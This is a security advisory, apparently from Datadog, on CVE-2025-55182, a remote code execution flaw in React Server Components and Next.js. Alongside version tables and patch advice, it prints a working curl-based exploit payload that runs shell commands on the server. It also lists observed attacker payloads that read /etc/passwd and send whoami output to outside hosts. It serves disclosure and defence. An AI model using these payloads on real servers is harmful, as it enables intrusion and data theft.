emerging threats and vulnerabilities

CVE-2025-55182 (React2Shell): Remote code execution in React Server Components and Next.js

December 4, 2025

Cve-2025-55182 (react2shell): Remote Code Execution In React Server Components And Next.js
LAST UPDATED

Key points and observations

  • On December 3, a remote code code execution (RCE) vulnerability was identified in React Server Components and tracked as CVE-2025-55182.
  • Under certain conditions that remain unclear at the time of writing, this vulnerability allows for the execution of arbitrary code in server-side applications without authentication in affected components.
  • This vulnerability affects the popular Next.js framework because it includes one of the affected components. Next.js is tracking this vulnerability as CVE-2025-66478. While the US National Vulnerability Database (NVD) has officially rejected this CVE assignment, it's still being referred to by the community.
  • CVE-2025-55182 was assigned a CVSS score of 10/10.
  • Public exploit code is available. Datadog has confirmed that exploitation is straightforward, including in basic blank applications created by the scaffolding tool create-next-app that uses a default template to bootstrap a new Next.js application.

How to know if you're affected

According to the official advisory, affected React components are listed below.

Library Vulnerable versions Patched versions CVE
react-server-dom-parcel       19.0, 19.1.0, 19.1.1, 19.2.0       19.0.1, 19.1.2, 19.2.1       CVE-2025-55182
react-server-dom-webpack       19.0, 19.1.0, 19.1.1, 19.2.0       19.0.1, 19.1.2, 19.2.1       CVE-2025-55182
react-server-dom-turbopack       19.0, 19.1.0, 19.1.1, 19.2.0       19.0.1, 19.1.2, 19.2.1       CVE-2025-55182

Downstream components that use these libraries are also affected. Most notably, this vulnerability impacts the popular server-side framework Next.js when an application uses the App Router feature. For tracking purposes, Next.js is tracking this vulnerability as CVE-2025-66478.

Vulnerable versions of Next.js that embed a vulnerable React component are:

  • 15.x
  • 16.x
  • 14.3.0-canary.77 and later canary releases

Patched versions are:

  • 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7
  • 16.0.7

How to remediate affected applications

To remediate a vulnerable application, upgrade the vulnerable components to a patched version. You can run npm run audit locally to identify the presence of this vulnerability:

$ npm audit report

next  16.0.0-canary.0 - 16.0.6
Severity: critical
Next.js is vulnerable to RCE in React flight protocol - https://github.com/advisories/GHSA-9qr9-h5gf-34mp

Analysis and exploitation of the vulnerability

The patch to this vulnerability was committed on December 3 in the facebook/react GitHub repository: https://github.com/facebook/react/pull/35277

export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }

This patch shows that the vulnerability is a server-side prototype pollution vulnerability, a subtype of prototype pollution that's applicable for server-side components. Under specific conditions, this would allow an attacker to "pollute" the prototype of a JavaScript object and execute arbitrary code by calling native functions such as child_process.execSync.

A few hours after the initial vulnerability was announced, a public proof of concept (PoC)—ejpir/CVE-2025-55182-poc—was released. Its relevance to real-world applications has been questioned by the original reporter of the vulnerability, Lachlan Davidson, on his website react2shell.com:

"Anything that requires the developer to have explicitly exposed dangerous functionality to the client is not a valid PoC. Common examples we've seen in supposed "PoCs" are vm#runInThisContext, child_process#exec, and fs#writeFile. This would only be exploitable if you had consciously chosen to let clients invoke these, which would be dangerous no matter what. The genuine vulnerability does not have this constraint. In Next.js, the list of server functions is managed for you, and does not contain these."

On December 4, less than 24 hours after publication, the proof of concept was annotated with the following message:

"IMPORTANT: This repository is an unsuccessful attempt to understand and replicate CVE-2025-55182 using Claude. The PoC turned out to be intentionally insecure and does NOT represent exploitation of CVE-2025-55182."

Later on December 4, a working proof-of-concept exploit code was published on GitHub by security engineer Moritz Sanft, and confirms that the vulnerability can be exploited, including against a blank Next.js application created through create-next-app. This can be demonstrated by creating a blank application, then building and running it:

npx create-next-app@16.0.6 sample-app --yes
cd sample app
npm run build
npm run start

Then, in a separate terminal, executing the following HTTP request:

command="id > /tmp/pwned"

cat > payload.json <<EOF
{
    "then": "\$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\\"then\\": \\"\$B0\\"}",
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('${command}');",
        "_formData": {
            "get": "\$1:constructor:constructor"
        }
    }
}
EOF

echo -n '"$@0"' > payload2.txt

curl -X POST http://localhost:3000 -H "Next-Action: dontcare" \
    -F "0=<payload.json" -F '1=<payload2.txt' \
    --max-time 2 2>/dev/null || true

Following execution, the file /tmp/pwned will contain:

uid=0(root) gid=0(root) groups=0(root)

For an in-depth explanation of the exploitation steps, refer to Moritz Sanft's walk-through.

A note on server-side prototype pollution vulnerabilities

Server-side prototype pollution vulnerabilities (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes) are generally exploited in frontend code to trigger cross-site scripting (XSS vulnerabilities). Although less common on the server side, successful exploitation is more impactful in this case, as it can allow for remote code execution or arbitrary file read on the server.

To illustrate what a server-side prototype pollution vulnerability might look like in the wild, let's take a standard function that attempts to merge two objects:

function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      target[key] = target[key] || {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

Let’s assume we're reading some sort of configuration from untrusted user input, in our case from command line arguments:

const userInput = JSON.parse(process.argv[2] || '{}');
const defaultConfig = {}
const config = merge(defaultConfig, userInput);

Then, that application runs a seemingly-innocuous process, such as sh:

const result = spawnSync('sh', [], {});
console.log(result.stdout.toString())

At first glance, it may look like this code is safe and wouldn't allow a user to run arbitrary commands.

However, it is vulnerable to prototype pollution:

$ node app.js '{"__proto__":{"input":"id"}}'
uid=0(root) gid=0(root) groups=0(root)

When the merge function runs, it ends up modifying `Object.prototype` itself instead of just the target object. The key __proto__ is special in JavaScript: setting it doesn't create a property named __proto__, but rather modifies the prototype chain. This means Object.prototype.input is now set to a malicious command, and any future object created will have this property, as we can demonstrate by running:

> const object = {}
> object.__proto__.input = "Hello world!"

> const other = {}
> other.input
'Hello world!'

The call to spawnSync('sh', [], {}); is then equivalent to spawnSync('sh', [], {input: 'malicious command'});, which passes the malicious command as standard input to sh.

Although this demonstrates a simplified version of a prototype pollution vulnerability, it shows how using untrusted user input modifying an object's prototype may lead to code execution.

Exploitation activity in the wild

Based on our global telemetry, we started identifying scanning activity for this vulnerability on December 3 around 10 p.m. UTC. We identified over 80 IP addresses exhibiting scanning behavior and attempting to scan applications of multiple organizations.

Scanning activity observed by Datadog (click to enlarge)
Scanning activity observed by Datadog (click to enlarge)

At the time of writing, this activity correlates with attackers probing for the presence of the vulnerability. We did not witness weaponized payloads that would lead to an actual takeover of the application or underlying system.

{"id":"vm#runInThisContext","bound":["process.mainModule.require(\"child_process\").execSync(\"curl sapo.shk0x.net/?from=https://REDACTED \").toString()"]}

{"id":"vm#runInThisContext","bound":["process.mainModule.require('child_process').execSync('type C:\\\\Windows\\\\win.ini').toString()"]}

{"id":"vm#runInThisContext","bound":["process.mainModule.require('child_process').execSync('id').toString()"]}

{"id":"fs#readfilesync","bound":["/etc/passwd","utf8"]}

{"id": "vm#runInThisContext", "bound": ["process.mainModule.require(\"child_process\").execSync(\"echo vuln_test_835543\").toString()"]}

{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"nslookup xwpoogfunv.zaza.eu.org\")"]}

{"id":"vm#runInThisContext","bound":["process.mainModule.require(\"dns\").resolve(\"REDACTED.a02.lol\",console.log)"]}

{"id": "vm#runInThisContext", "bound": ["console.log('YOU HAVE BEEN HACKED!'); process.mainModule.require('child_process').execSync('echo DvkDlhIRaJXc78t5').toString()"]}

{"id":"vm#runInNewContext","bound":["this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()"]}

{"id":"vm#runInThisContext","bound":["fetch('http://REDACTED.oastify.com');"]}

Observed values in the wild for the HTTP parameter $ACTION_0:0.

Shortly after the proof of concept by Moritz Sanft was released, attackers probing for the vulnerability started updating their payloads.

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "process.mainModule.require('child_process').execSync('curl REDACTED/?origin=REDACTED/`whoami`/`uname`');", "_formData": {"get": "$1:constructor:constructor"}}}

Observed values in the wild for the HTTP parameter 0.

How Datadog can help

Datadog Code Security scans your code at runtime or directly on GitHub to identify third-party libraries with known vulnerabilities.

You can use the following search to identify if one of your applications is affected.

Datadog Code Security identfiying a vulnerable dependency (click to enlarge)
Datadog Code Security identfiying a vulnerable dependency (click to enlarge)

Datadog App and API Protection (AAP) is also able to identify and block exploitation at runtime.

References

Tooling:

Advisories:

Cloud providers:

Vendor posts:

CERTs:

Acknowledgements

This post includes contributions from Frederic Baguelin and Nick Frichette.

Updates made to this entry

December 4, 2025Added information about a working proof of concept identified on GitHub.

December 5, 2025Added observed payloads in the wild corresponding to a newly released proof of concept exploit.

December 5, 2025Updated the graph that includes information about exploitation attempt in the wild to include more accurate data.

Did you find this article helpful?

Subscribe to the Datadog Security Digest

Get the latest insights from the cloud security community and Security Labs posts, delivered to your inbox monthly. No spam.

Related Content